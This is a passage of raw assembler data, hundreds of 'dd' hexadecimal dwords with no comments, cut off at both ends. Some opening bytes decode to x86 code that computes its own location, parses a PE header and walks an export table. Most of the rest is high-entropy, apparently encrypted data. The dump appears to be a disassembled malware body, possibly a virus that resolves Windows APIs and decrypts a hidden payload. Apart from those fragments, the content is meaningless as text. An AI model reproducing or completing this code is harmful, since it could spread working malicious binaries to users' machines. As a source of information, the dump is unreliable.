4C1F769Ah, 830F063Eh, 19h, 0DE960h dd 5C260000h, 18D7C1EDh, 1BBD501Ah, 0BBD1C1DFh, 5A19AF4Dh dd 0E9D28B61h, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h dd 0E428E5B5h, 30858D05h, 0FF05E76Dh, 318589D0h, 8B05E410h dd 0CEFC1FEh, 6000068h, 6A006A20h, 0D685702h, 0FF000100h dd 0E4103195h, 32E905h, 85C60000h, 5E42A49h, 30DF6856h dd 0B5FFA9C5h, 5E426F5h, 6D30858Dh, 0D0FF05E7h, 238D8589h dd 858D05E4h, 5E41FCDh, 6A406A50h, 95FF5605h, 5E4238Dh dd 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 89858908h, 8B05E971h, 85890C42h dd 5E97181h, 8910428Bh, 0E9718585h, 0BFB58D05h, 8D05E971h dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7189B58Bh, 858B05E9h dd 5E97181h, 7185BD83h, 0F0005E9h, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 5E97189h, 7210B58Dh dd 858D05E9h, 5B7E35h, 5A61D0FFh, 7189858Bh, 4C205E9h dd 89858B00h, 8B05E971h, 89858900h, 0CF05E971h, 0 dd 0E6B58960h, 8905E971h, 0E971E285h, 2D858D05h, 8B05E429h dd 85894440h, 5E9721Fh, 7255B58Dh, 858D05E9h, 5B7E35h dd 8B61D0FFh, 0E971E685h, 9D8BC305h, 5E971E2h, 3C43B70Fh dd 5B8BD803h, 0E29D0378h, 8B05E971h, 0B5032473h, 5E971E2h dd 207B8B56h, 31C738Bh, 0E971E2BDh, 0E2B50305h, 0FC05E971h dd 41FFC983h, 71E69D8Bh, 178B05E9h, 71E29503h, 0C78305E9h dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 71E28503h, 858905E9h, 5E971E6h, 0CE8BF08Bh dd 0BD81C18Bh, 5E9721Fh, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 0E9721FBDh, 70C8305h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 5E9721Fh, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 0E9721FBDh, 30000005h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 5E9718Dh, 1A098589h dd 858D05E4h, 5E97223h, 8258589h, 858D05E4h, 5E971EAh dd 718589h, 5CE905E4h, 3B000001h, 0C1F1A11Dh, 0B197B949h dd 3B0BAB5Ah, 0F852A054h, 930BA354h, 9F52A85Ah, 8E3B8373h dd 2352D126h, 79C5F127h, 9D61457Bh, 875296B4h, 9752E716h dd 0DF52E717h, 0EB52E716h, 0F752E716h, 0FB52E716h, 0D252E716h dd 0FE52E716h, 7752E716h, 0BF52E716h, 8C52E716h, 8A26946Fh dd 0A772E77Bh, 9E318864h, 0FD0F9465h, 0FE52E716h, 7F52E716h dd 0BF52E716h, 0DF52E716h, 0EF52E716h, 0F752E716h, 0FB52E716h dd 0FD52E716h, 0FE52E716h, 7F52E716h, 0BF52E716h, 0DF52E716h dd 0EF52E716h, 0F752E716h, 0FB52E716h, 0FD52E716h, 0FE52E716h dd 7F52E716h, 0BF52E716h, 0DF52E716h, 0EF52E716h, 0F752E716h dd 0FB52E716h, 0FD52E716h, 0FE52E716h, 7F52E716h, 0BF52E716h dd 0DF52E716h, 0EF52E716h, 0F752E716h, 0FB52E716h, 0FD52E716h dd 0FE52E716h, 7F52E716h, 0BF52E716h, 0DF52E716h, 0EF52E716h dd 0F752E716h, 0FB52E716h, 0FD52E716h, 0FE52E716h, 7F52E716h dd 0BF52E716h, 0DF52E716h, 0EF52E716h, 0F752E716h, 0FB52E716h dd 0FD52E716h, 0FE52E716h, 7F52E716h, 0BF52E716h, 0DF52E716h dd 0EF52E716h, 0F752E716h, 0FB52E716h, 0FD52E716h, 0FE52E716h dd 7F52E716h, 0BF52E716h, 0DF52E716h, 0BD52E716h, 0E9370D92h dd 16CCh, 0E976C568h, 0CFAEE905h, 0D668FFFBh, 0E905E977h dd 0FFFBCFA4h, 0E9789968h, 0CF9AE905h, 7168FFFBh, 0E905E979h dd 0FFFBCF90h, 0E97B2768h, 0CF86E905h, 9B68FFFBh, 0E905E97Ch dd 0FFFBCF7Ch, 0E97D9D68h, 0CF72E905h, 9768FFFBh, 0E905E97Eh dd 0FFFBCF68h, 0E9808468h, 0CF5EE905h, 5268FFFBh, 0E905E981h dd 0FFFBCF54h, 0E981E068h, 0CF4AE905h, 0A068FFFBh, 0E905E982h dd 0FFFBCF40h, 0E983D468h, 0CF36E905h, 3868FFFBh, 0E905E989h dd 0FFFBCF2Ch, 0E98A3568h, 0CF22E905h, 127DFFFBh, 29B92CC5h dd 63F46B00h, 0AC3AAD46h, 0EB79EC85h, 90512DC6h, 1F94B92Fh dd 50D9FC68h, 90193EADh, 0DE5B7CEDh, 0BC5C6D23h, 7BC92A68h dd 7FEC035Ah, 9C0DF05Ah, 168425BBh, 30A66733h, 5F4B911h dd 1666E863h, 95D2E3F1h, 50D2A734h, 6E7FCF9Dh, 0C9270BAEh dd 0B8129669h, 270B33D5h, 985791C9h, 0D8573619h, 4A57CFh dd 0FF000000h, 0F818A9AFh, 4CCCC31Dh, 0C31DDF3Dh, 64A518CCh dd 0C2922291h, 1DBD6372h, 8B7ACCC3h, 3F8B70E1h, 0EF5ED2A7h dd 0DCC7B323h, 7A0410B3h, 384FF606h, 37E65BE9h, 1D38DC75h dd 0A09AC927h, 713F6093h, 0DD4CCFD8h, 7D000000h, 0F05A7FECh dd 0D0BA9F0Dh, 7B7ABC2Dh, 0D331C0E5h, 43CCC31Dh, 0D8B91867h dd 1F4D568h, 0EF630252h, 0C88C2ECAh, 0B6263BA9h, 0D958DC93h dd 0B8A6748h, 0CCC30DDCh, 1E97F7Eh, 0FE977855h, 4E04FB71h dd 17840DEFh, 55C67932h, 0A0F4A66Ch, 0AF5C6D43h, 6AD2A71Dh dd 0F351C59Bh, 44482DCEh, 8E008B6Dh, 0FA8BD93Eh, 0D74DF1E3h dd 4C6D4332h, 8D30F9DCh, 0CB7C3A1Fh, 0D9DB1ED8h, 1454637Fh dd 46290000h, 0F5651891h, 37A027CCh, 70E69912h, 0B725D851h dd 5C8D1992h, 0CBA0851Bh, 0CE5C054h, 4C250A99h, 8A6748D9h dd 0E828B917h, 2FC92A6Bh, 7CEC3786h, 67D6FB69h, 9CC15051h dd 0B6588236h, 690AD96h, 7626D557h, 0ADF117A6h, 4736CCC3h dd 0B91134A0h, 20B130F4h, 8322723Fh, 0E24B2D0Ah, 7848AFFFh dd 0BA9F09A8h, 0E9E1DD0h, 0EA8E6F2Bh, 0A73F8E7Bh, 2EE45BD2h dd 273FAD6Fh, 63D0FC9h, 0DED2E296h, 0F7CBF04Ch, 0A9173835h dd 0B9B4CFD7h, 25000000h, 0CFBB7FECh, 5D21308Fh, 858B1AAFh dd 42CCC3D1h, 6563CF3h, 7AD0F567h, 0E070F1BBh, 598015FDh dd 2ACCC3EEh, 641B90B9h, 62A233F7h, 0A5CCC3D5h, 9DBA53D2h dd 39914035h, 44D00757h, 369CC551h, 93219047h, 3E33A2C3h dd 7CD685ACh, 0B566FFB9h, 3D2A7F7h, 29D3F662h, 9EFEBB0Ah dd 0C1AB881Fh, 0CC9C0353h, 4D29B1BDh, 0E1F746D7h, 846D50C0h dd 0C8AE9301h, 0DB1F2849h, 43E5FD5Fh, 3A000013h, 76E98257h dd 0B134FDE4h, 0F7760324h, 36A94267h, 9CF683A6h, 5174E44Bh dd 96B325D8h, 0D6FB6A1Dh, 1039AA5Dh, 19A8E89Bh, 0C92A6AFBh dd 0ECC0973Ch, 2DD0597Ch, 471E9BBCh, 0BC5C6D3Dh, 7BCCC31Dh dd 510025B4h, 94BD2ED7h, 0F5DA4F3Eh, 3B1C893Ch, 0EA7E7F5Fh dd 28E8F9CFh, 0EFCCC31Dh, 84159C18h, 59D8FD93h, 4B2AE0C9h dd 0B4A1F94h, 1BA94E1Eh, 0A747D58Ah, 1EAD00D2h, 0A9648E8Fh dd 45AAFAC1h, 54256677h, 3DE020C9h, 0B95F6EA8h, 7E3B4937h dd 0A169D88Fh, 68789FEFh, 20A08F59h, 55C54825h, 1020786Ch dd 890BA2EAh, 76EB8ADAh, 0F5F4D851h, 23A24663h, 70ED89AEh dd 86E8B46Fh, 1280BCD4h, 1A750000h, 21B134FDh, 5BCC7338h dd 0A432B57Eh, 0E371F4BDh, 885935FEh, 0E78CB127h, 58D1F460h dd 981136A5h, 0A65374E5h, 0B454652Bh, 73C92A65h, 7FEC0B62h dd 4E1EF05Ah, 0FB4B1BA9h, 0C31D2AEAh, 9E1AEDCCh, 0A72F1E07h dd 0D544CBD2h, 0F66B1AF0h, 0C5B479D1h, 0BA3B9D16h, 0F565042Dh dd 0F5B706CCh, 0EAFADF4Ch, 41810F3Eh, 5639549h, 5D761BC7h dd 42E88C43h, 0C21E6612h, 1F54A10h, 7A99ED67h, 47B5B6Ah dd 0CBBFD748h, 0A536202Dh, 64CC08BCh, 404952Bh, 0C3CCCE0Dh dd 0D4AB886Ch, 5374E584h, 8DB227A6h, 9C0353C5h, 81F1BDCCh dd 0B706D2A1h, 2E138021h, 6851C245h, 7F9CF0A2h, 330B5869h dd 0EDBDD743h, 0C34C3CDCh, 6004FBCCh, 9F0AEC43h, 0B5DB2126h dd 11A88F23h, 0F29D0000h, 49D94C25h, 83148B60h, 0CC5ACDA6h dd 0B990CE5h, 0B0314D26h, 3FF4D94Fh, 70391C88h, 0B0795ECDh dd 0FEBB9C0Dh, 9C7C0D43h, 5BC92A64h, 7CEC633Ah, 6E3ED059h dd 4DAA3B89h, 88D2A73Ch, 3BA85D35h, 0BA3B9D16h, 0EE4F0B2Eh dd 249CFDEh, 3F8EC927h, 4267F47Dh, 51B60688h, 0A4C7B303h dd 35E368A3h, 0D0B52CC8h, 66D74358h, 90A25EB2h, 0A6459D8Eh dd 0F7460C35h, 2FBE2E35h, 0CCC3E3E9h, 22E85F2Eh, 6CCE963h dd 4E2D1287h, 0B81EF4DDh, 2CC6B18Eh, 0E97A2D02h, 44652BC0h dd 0D3E2F2D7h, 0CCC3E34Dh, 0E3713B8Ah, 4D5C6C93h, 0D2A7C2E8h dd 0BD56AA5Eh dd 740B7FD8h, 76DC93B0h, 0AF3D22B7h, 0DEB49D0Eh, 0D838491Fh dd 1FC9275Ah, 9B6ECCA8h, 0F6C690AFh, 0F5324311h, 30D7437Bh dd 0BFADF4Dh, 83A634B5h, 5EF372F9h, 18FC9179h, 0D5CCC375h dd 76C656EDh, 0C355A167h, 159766CCh, 8ADAFF6Ch, 5565AB3Ah dd 16A2CCC3h, 74DA1694h, 0EC887F2Dh, 466BF86Fh, 0F117A676h dd 36CCC350h, 8517A547h, 4E73E231h, 72423184h, 5DC3D2A2h dd 9ACCC350h, 0F3D6442Bh, 43D25627h, 0D2A768B6h, 9C7C0D43h dd 5BC92758h, 187C35E4h, 602A0F99h, 0EA48EB8Dh, 26B66539h dd 37E65703h, 0D43610A1h, 0E382D748h, 86AD4F6Ch, 7D8083F2h dd 4DC8C608h, 6C3EAA9Ch, 21B0675Eh, 632F1282h, 0C3E67273h dd 53C2A617h, 0CCCE26C9h, 0B808EFBFh, 0A1AA4D29h, 0A53B8AD2h dd 0F9B29704h, 0DCECD546h, 8C6849DDh, 9A0FAE2Eh, 0BF28DDB5h dd 8E7D309Ah, 0D0F56BEAh, 3D2FCD56h, 6171DBD5h, 0FF2h dd 8673A8CBh, 0C5AE9307h, 7ECD542h, 46331680h, 876C51C7h dd 27B5FAEBh, 62F66902h, 0A43BAA47h, 0E67BEA87h, 0DBB928C1h dd 2A664ACAh, 91E48DC9h, 82DBC3Dh, 8809F342h, 0B2970518h dd 22B736C3h, 43D0553Dh, 1159B41Eh, 0E1F66B22h, 10994871h dd 0BC70F6D9h, 1A897D5h, 0ECC00000h, 0DCF05A7Fh, 0A36F48DDh dd 28D10417h, 279699D9h, 6A4FDC45h, 0D15BCF81h, 0E2B15F9Ch dd 0FDDA7332h, 4EC4A015h, 0BACB997Eh, 0D2A78CFDh, 0C98D4538h dd 0BC2A3FA8h, 89783D95h, 19886CC1h, 0C927B3FFh, 6921089Ah dd 570326B4h, 0FCBB88F2h, 65F340FAh, 2036D644h, 4FED56A4h dd 589517C6h, 0CFD86177h, 4914h, 0DDECBC00h, 0C927193Fh dd 83A435F8h, 0FF8128CCh, 0C4E978AFh, 0E8F8AF0Eh, 16316C18h dd 64AA6FF3h, 57E81180h, 4A3DD2A7h, 570B0D80h, 9FA9C927h dd 276E51A0h, 6302CFD8h, 0AD00CAEFh, 6AD9223Bh, 4024930Fh dd 0B00Dh, 7FECBE00h, 28DCF05Ah, 4A1B6B91h, 0FC650730h dd 0CD81496Ch, 2423D459h, 111B9599h, 710C1F5Ch, 139216C5h dd 0CF1597Eh, 5EF1BA9Fh, 0CCC30467h, 0C9A28714h, 0C2927145h dd 0F8DD7372h, 48D9A312h, 0D2A9E1A4h, 0ADCC9C53h, 0DE4A1A3Fh dd 792C74EAh, 31BA7ECEh, 699BAB5Fh, 7C667715h, 86AB39B8h dd 3B6489E0h, 0A53D9FD5h, 0E7Eh, 32FF1C77h, 713A1FB3h dd 0B37859CEh, 0F2BF9A0Ch, 33F8DD73h, 0B3218667h, 0F662E58Eh dd 30A726D3h, 72E76613h, 672DA44Dh, 2A61B656h, 156071C9h dd 0D0597CECh, 0D55EBC2Dh, 0B2EBE9Dh, 4FFAEE4Fh, 1C954462h dd 5A7FEC41h, 7E9C0DF0h, 0C9A5DF63h, 52DF8E84h, 0B1193ED3h dd 58688FDFh, 0A75F8C49h, 21BB3AD2h, 0EC436004h, 9F7D0CDCh dd 58C9273Dh, 0C48803E5h, 3DA76574h, 54C2C927h, 0B592C6Dh dd 273D9A7Ah, 0EEA5DC9h, 7386Ah, 7CEC1300h, 0FA6A0B59h dd 0F2023C12h, 0A41B4060h, 0CF6D0FEEh, 0C305CA4Eh, 0BE8BCCCh dd 53C0C1B5h, 443A8F18h, 9DE1F0A0h, 39D2AC46h, 4F0B2EB8h dd 56290AEEh, 564C9206h, 5CD847C2h, 4C3888D8h, 0F0CD7E2Bh dd 0B233F537h, 1D733821h, 0AC7DD94Dh, 0F5A8FCBFh, 2AD8E626h dd 0AA4E21C9h, 154B62Bh, 0B6F0B31Eh, 0AD503AE9h, 279C1A3Fh dd 3DD53812h, 0D7C079Bh, 1E710000h, 1D8D30F9h, 5FC87F34h dd 980EB17Ah, 0DF4DF0B9h, 846531FAh, 0E388AD23h, 24CDE87Ch dd 640D32A1h, 0A24F70E1h, 0B050612Fh, 77C92A60h, 7CEC0F5Eh dd 0BC2DD059h, 0DD4E3F9Bh, 0FBC71EF4h, 47D1D044h, 8A1F8662h dd 9617A5h, 0E0846921h, 715F406Bh, 1E6CD5BCh, 0A4000000h dd 0F2B69305h, 28BC3D5Bh, 36F884C8h, 0F1A0E413h, 84309E37h dd 7B15CCC3h, 0FFFFFD6Fh, 28BC3D22h, 1D3FDDECh, 5F8CCC3h dd 7F39FC56h, 0C31D22E6h, 0E30054CCh, 0EA7C7DCDh, 425303CFh dd 0CCC31DC2h, 0C9C3B205h, 0EB813A6Fh, 0AD24C0FEh, 0D2AC0AD9h dd 0FFDA4C6Dh, 4EC3A213h, 28CCA169h, 8524B40Bh, 0AE8B1C15h dd 44653DFFh, 828213D7h, 45C92AF5h, 67A2C6F2h, 3CC03774h dd 0E97E7F4Dh, 0C9B302C8h, 694EC342h, 0E7CA5A5Bh, 0CAE4A2Bh dd 96BB2948h, 0D8FD9312h, 37F2F35Eh, 3B5701D5h, 0C82h dd 36C3187Bh, 753E23B7h, 0B77C65F2h, 0F683A630h, 37FCE177h dd 0B7258A5Bh, 0F2661992h, 34AB5AD7h, 76EB9A17h, 6B29D851h dd 2A63BA5Ah, 1547DC9h, 0F05A7FECh, 0DFBB9C0Dh, 0C087BC86h dd 8E5E6E53h, 0C31D19FFh, 8D6FDECCh, 71042B0Eh, 1F89D5BCh dd 32000000h, 0C32752FCh, 8C5D77CCh, 0F5FFFFFCh, 0C4445525h dd 3CCC317h, 173FDDACh, 5F8CCC3h, 0AFFFCA63h, 38697848h dd 0FDD2A747h, 48CD400Ah, 0E8C92734h, 2D12E15Eh, 5ECFD844h dd 1B0h, 1D28FC0Fh, 2C7DCCC3h, 7A371889h, 0D14156CBh, 0B79809E8h dd 0F98B0AC0h, 87CCC31Dh, 971686BDh, 5D821106h, 275100F5h dd 9A5E6FDEh, 0D65FD934h, 3971C45h, 2834FB6h, 8DC3A891h dd 82758A19h, 36A2E749h, 41BBA675h, 27AE4AEDh, 50C58DB2h dd 0CCC394C4h, 8C6FC466h, 0D5BBE4A3h, 14F28h, 7FEC9100h dd 9C0DF05Ah, 85CFEBBh, 0B66542DBh, 34D69726h, 5C13D2A7h dd 0BE527F6h, 0E547C927h, 5784AB4Eh, 6109CFD8h, 0B2000000h dd 7848AFFFh, 0A73FB069h, 0DC5765D2h, 65E10C7h, 6216A615h dd 5CCF1B51h, 86019019h, 295CCAFEh, 5707D557h, 189CC556h dd 27CC8F89h, 5178EAC9h, 0E3E7F1F9h, 0DD019059h, 2EE4CD5Eh dd 82F54A74h, 0DD496824h, 350A30F4h, 0D792D9C6h, 0BBF2CFh dd 52220000h, 27CFDD43h, 429B8C9h, 25B470C7h, 0F05A7FECh dd 28AC28DCh, 0EC0DC7CEh, 3EFF5B7Eh, 0B424AD4Fh, 0E1953991h dd 7959888h, 13856822h, 0AC480893h, 0C793B425h, 7ECD546h dd 0C3B22190h, 0B2C393CCh, 0CCC38252h, 7440BAC2h, 4081E0B2h dd 198A0BEDh, 87D77B30h, 0C4515060h, 384919E3h, 0D2A970B4h dd 0CDCEC43h, 74DEFB6Dh, 0EE7EE781h, 29BF2ECBh, 63296204h dd 9D3FD53Bh, 0A9505h, 0D0056800h, 1336A45Bh, 5176E766h dd 90B125D8h, 0D1F4641Bh, 5A9D4E58h, 9B0AE7CAh, 0D84F2401h dd 188F6449h, 56CDA68Bh, 9DA96F7Eh, 416EC92Ah, 597CEC76h dd 0ABBC2DD0h, 0CCA51431h, 5A7FEC71h, 0F28DCF0h, 58226151h dd 67F47D3Fh, 8ADBA942h, 82000003h, 0AEFEA3CEh, 1AAB7B49h dd 0CCC31DFAh, 0F6AE4A3Dh, 30158726h, 17C3E471h, 0C53C2A6h dd 0CDD2AC91h, 7576B7Ah, 0C4C1D0E0h, 1D74E47h, 3F4E1EAEh dd 0CCCE78D9h, 6FCDAF1Eh, 0CE786AAEh, 0C17EC8CCh, 0AF080D32h dd 301BED5h, 0FC2F0000h, 0CCC31D18h, 0C31DBA6Dh, 1D82D2CCh dd 6CFEFF4Fh, 1DF715A4h, 7D30CCC3h, 0B771C48Eh, 0A72F391Eh dd 6D09FCD2h, 0D53D6736h, 0C7F68A4Ch, 0BE000009h, 0FA6D06D3h dd 35A84168h, 7BEA87A0h, 0BA2DC6E3h, 106A072Ah, 0D5F868CFh dd 1A3FA95Ch, 5A7FEE91h, 94BD2ED1h, 9D2C641Fh, 0C92A9C7Fh dd 0EC4C1BB8h, 1EF05A7Fh, 8A1BA94Eh, 0D2AC9148h, 0DF73388Fh dd 4958688Fh, 0D745E215h, 8D5D73C2h, 0C31D1CFCh, 8064DBCCh dd 0F36100D0h, 0F7B104CEh, 32FFDA4Eh, 0E8CD4362h, 1E4B950Ch dd 572DCCC3h, 0D84CF3B8h, 39015FDh, 0D2A274DEh, 0FD0E9F2Dh dd 38D2A734h, 617CA145h, 0C08AD53Dh, 939B0h, 0B4610C00h dd 0F7DA48FFh, 35128B3Ah, 745DC97Ch, 0B59808BFh, 0FE41A2FCh dd 3FAE4B6Eh, 7CE388ADh, 0BC23C8EDh, 0F2610A2Fh, 9C0D13A2h dd 0A5CAC92Ah, 48AFFFD2h, 91756978h, 32A2D2ACh, 2A6E7DA3h dd 9B2ABAC9h dd 0C92A6E75h, 5D0CC3B2h, 3EFA6E0Fh, 2A6E69AFh, 68DFAEC9h dd 4C881C83h, 2A6EDF3Dh, 17A518C9h, 2A6E8686h, 3FEE41C9h dd 0EFEDC153h, 6E8E8E1Fh, 0F649C92Ah, 2A6EE127h, 15726C9h dd 2A6E9070h, 31E057C9h, 43D2D3A3h, 65F1B41Eh, 7027967Ch dd 0E23D1DB4h, 0BFAD745h, 1AF9CD4Fh, 40023B4Ah, 35B4D2A7h dd 0B35160A6h, 74C9273Fh, 0D56D281h, 55B9FCBAh, 0DCFD53Dh dd 87975h, 0F4214C00h, 371A883Fh, 7552CB7Ah, 0B49D09BCh dd 0F5D848FFh, 3E81623Ch, 7FEE8BAEh, 0BC23C8EDh, 0FC63082Dh dd 32A14A6Fh, 9FCD5362h, 650AC92Ah, 5A7FEC12h, 4828DCF0h dd 682CA2BBh, 4F72E087h, 0CF763283h, 409D755Ah, 1A009110h dd 289E2990h, 9E742B09h, 0D06F5DDFh, 7E130495h, 4D3CF159h dd 3BAA95A4h, 1823D5BCh, 94000001h, 0B2EBC3Dh, 4E73E061h dd 0AF900184h, 5A7C50C2h, 0E58DCF03h, 0BD13C214h, 0F50B3BC9h dd 8F69524Ch, 0CE1C6D7h, 5124D2A7h, 33F014F9h, 0E852C927h dd 93493D5Bh, 0E38B5DE0h, 2E112CC8h, 5FCFD7BDh, 25h, 48AFFF08h dd 3FB06978h, 9716D2A7h, 7B58DC01h, 0CD4FCE84h, 6FC9273Fh dd 0AC9366DDh, 21CFD84Fh, 9Ah, 5A7FEC8Ah, 6D0CDCF0h, 0BE7FDBFCh dd 0C31D29EFh, 9D1FEECCh, 0E9A18414h, 0C882A734h, 67A53484h dd 0A0CCC31Dh, 39AA2BCDh, 5DF49B10h, 4ECCC339h, 9B3FF4DDh dd 59424CBh, 0D2A9DF6Bh, 7958CEEFh, 7B58DC91h, 27B53484h dd 0A732D2E3h, 2F5C925h, 0B127A653h, 0BDD9EA8Ch, 6DEFD53Ah dd 74555h, 80553800h, 0C3E674EBh, 126B736h, 4061F568h dd 81A434ABh, 0EA4D9EE8h, 2BDA577Ah, 681F94B1h, 0A85FD4F9h dd 0E69D163Bh, 9EF91FAEh, 913EC92Ah, 597CECC6h, 9BBC2DD0h dd 7FEC471Eh, 627BA29Fh, 4534483Fh, 0A68B188Dh, 3FB7CDh dd 0CEE60000h, 1AF9CD76h, 91153B4Ah, 63D2D2ACh, 2CECFD4Dh dd 0EBC92A6Eh, 80C19014h, 0B8BE0E93h, 2A6EEB29h, 0EA592CC9h dd 2BBA0ADAh, 0C92A6EE5h, 38A95322h, 0D745E21Bh, 0B4586FDEh dd 55h, 78AFFFE5h, 19CA01E9h, 0C038EBE2h, 5F4B911h, 8617E7B7h dd 0CCC3C286h, 2EFD0816h, 50B19332h, 568E58h, 67D6D9D9h dd 5F670C85h, 2392D2A7h, 6D78EC8Dh, 0AE64DBFCh, 0E8F2DCFh dd 0C9277F0Bh, 0F7A3905Ah, 617040A7h, 28BCB8C8h, 0D3A14A3Dh dd 0F6h, 0A9AFFFFAh, 0C31DF818h, 99483FCCh, 919CBACBh dd 7C28D2ACh, 0B43421F2h, 4DD3E27Fh, 8AC92A06h, 83A0443Bh dd 74E1422Ch, 0C08AAF3Eh, 2FEBCC5Dh, 2057ECD6h, 3EA8C987h dd 0A4BF62DEh, 1DCCDE87h, 6F92A19Bh, 0CFD2F440h, 984Dh dd 0BC3D7E00h, 0EC41092Ch, 15CA9A08h, 0DDF3A287h, 0AC918DCCh dd 35F94CD2h, 732DA9AAh, 6EF212A3h, 4235C92Ah, 29AF84A6h dd 6EC84859h, 3FADC92Ah, 9CFDB01Ah, 4D724F29h, 7ECFD2FEh dd 59h, 48AFFF6Fh, 0C4ED7978h, 63617020h, 0D7D2AC91h, 6E967607h dd 9E51C92Ah, 82D56CEAh, 9F191682h, 739120B4h, 16C92AE9h dd 9362A782h, 630252DCh, 842FC9EEh, 0CC63C78Fh, 94BD2948h dd 78FA2510h, 0EF8ECFD2h, 99DC587Dh, 1Eh, 3029BA3Bh, 67D6BCA1h dd 911BDAB0h, 37B0FC38h, 0BBD5CCC3h, 0FFFFFEBDh, 270A9A1Bh dd 0AFFFF445h, 0DC5E878h, 6D250898h, 5A6AD988h, 2E6C35Bh dd 922B4352h, 19ECD2ACh, 0A1D5DF4Bh, 0DF64D24Bh, 491DFF5Dh dd 0DE4A1AAAh, 45DB4FE8h, 0F04A7460h, 35168F69h, 83D74534h dd 844E73E2h, 996C7731h, 0E80F5F31h, 47E5C9D8h, 0A312D2ACh dd 0DBFE6C0Dh, 0BE8BC5Eh, 8A91C1B5h, 583E534Bh, 0E1F584DCh dd 26D745CFh, 1ECDF267h, 9BB82F4Eh, 0E1AA7F1Eh, 5CCD64E9h dd 9A0FBE7Bh, 6B3BDDB5h, 26B53484h, 9E2F6701h, 4A81B8F9h dd 1781493Ch, 26E6F747h, 0E1510183h, 0E3506A0Eh, 991237A4h dd 25277E6h, 2ECAEF63h, 9089198Ch, 86772306h, 4E1581D7h dd 34AB6E17h, 8FFD6D4Dh, 0AD1CF787h, 0F16B61CBh, 0B7940B42h dd 0F7D44BFAh, 0F8CFBB1Bh, 7A5FC9E6h, 4E31554Eh, 901439AFh dd 0EBED4033h, 5D821154h, 0A13080D4h, 5101CB63h, 0C452D1A4h dd 3DB21B9Dh, 6B0D28BCh, 0E172A1F9h, 0DC4109F8h, 1AFA8B4Fh dd 0DDCCC31Dh, 451E0AFh, 0C4BB7E3Ch, 9EECBD15h, 7EA5F5A1h dd 0B8A132B5h, 0AFCE9EF6h, 8B89183Dh, 4CCCC306h, 0A0943FF9h dd 91D46BD1h, 0E988DF00h, 0CDF06079h, 23E1B41Eh, 4DCCC306h dd 999CC63h, 45D44B20h, 22EBAA60h, 45CCC306h, 6726ECD5h dd 807AD0F5h, 0D6EE89A6h, 190D76Ch, 7EED8CDCh, 785CDF59h dd 6425FCA8h, 80B0B3E7h, 0C34413F1h, 0F180D4CCh, 0CCC34413h dd 6B261D4h, 1E1891D6h, 0C253D591h, 0CCC3B186h, 0D5B898D3h dd 5CD7D5BBh, 80FFFFFFh, 9F7FECh, 71D104ACh, 40617726h dd 5223EFD2h, 0B0517E26h, 0A345A54Eh, 0D0456428h, 48818716h dd 0F746CCC3h, 6CFD6400h, 0CAEBAB4Bh, 23B7765Bh, 7E1543Eh dd 4A240D9Eh, 0E4A390CAh, 0C8035277h, 0D5BC1BE7h, 35E4h dd 0AFFFD500h, 68697848h, 0ADD2AC91h, 0F95178EAh, 16A94534h dd 0E65D871Eh, 0AD03E0B4h, 45E23F1Ch, 0DACEFAD7h, 8F1B1CB8h dd 5A5B69D8h, 5001EBCEh, 49BCh, 0AFFFED00h, 68697848h dd 0ADD2AC91h, 797854DAh, 9F24C0E9h, 2F04C650h, 0E4F41B6Bh dd 40CD0E30h, 0A997BD55h, 359E0A1Eh, 1A4A2E9Bh, 45E9468Bh dd 62F1F0D7h, 1598BB7Dh, 0DC059287h, 8F2EBE6Dh, 0B2970419h dd 0C2A615D8h, 493DC493h, 2FFCEE3Ch, 0A287141Ch, 65605E8h dd 0C3A39177h, 5E756CCh, 602A0F9Ch, 6E0B2CBDh, 48BE98ECh dd 4A6C8E1Ch, 0B1C09047h, 0D2A77AF4h, 1947E31h, 0C9274507h dd 9D2CF462h, 0C927457Fh, 0BC16C5B8h, 6975BC9h, 0C9274506h dd 0D3BF6EC1h, 159DC452h, 64A4142Bh, 0DB20B644h, 0A09ADC93h dd 0F0640593h, 396653D5h, 52CFD7F6h, 2Fh, 48AFFF7Bh, 3FB06978h dd 0A265D2A7h, 0F6471336h, 4ECA4B07h, 0ECC9273Fh, 0A373E55Ah dd 273FF212h, 0A64235C9h, 0D84FA48Bh, 0E129CFh, 0EC920000h dd 0DCF05A7Fh, 76AC4EDDh, 5834A8C6h, 0B706CC83h, 3CDC4CF5h dd 9322F4C4h, 0CCC3BC8Dh, 0F2C1FB4Ah, 0F0FDEFD5h, 9BDE3035h dd 0F9AC66D5h, 0CB8B4768h, 971138AAh, 0DF547DEEh, 4B6EF8F9h dd 0E20930A1h, 0E97ACCC3h, 27B42BC0h, 0F6C64802h, 81324311h dd 37D2A7F3h, 0C3B65667h, 0BE71C927h, 8D66D9FAh, 3993B509h dd 662AF7BCh, 7908580Fh, 0D74DF2CDh, 0C5E87879h, 1FAD0023h dd 952B0E9Eh, 8054B4C5h, 0DC93CCC1h, 0BC2CD358h, 0DAEE1D99h dd 5204DB1Eh, 1E13Eh, 1CB9D400h, 5F821097h, 9DBA53D2h dd 0DC059114h, 1D40D057h, 86E9FA94h, 0C7463316h, 4BB7055h dd 44FBB095h, 8A39F2D7h, 9455BBCAh, 0FD92C92Ah, 597CECAAh dd 9BBC2DD0h, 0A46475C5h, 34CCC31Dh, 2CFF4BBDh, 11E425A6h dd 0FF49E497h, 0C7EA78AFh, 0E5FBAA0Bh, 0A73F2FD4h, 4F0BFAD2h dd 0EE2EBF0Fh, 8BC9273Fh, 995C3613h, 4364F5B8h, 0B0772697h dd 0E8790326h, 0C9273F2Ch, 7487BC8Eh, 0CFD84F4Bh, 0BC40h dd 0BC3D6900h, 0F0450D28h, 3B1C8D34h, 1EAF7F5Fh, 0CCC31DFEh dd 6D25029Bh, 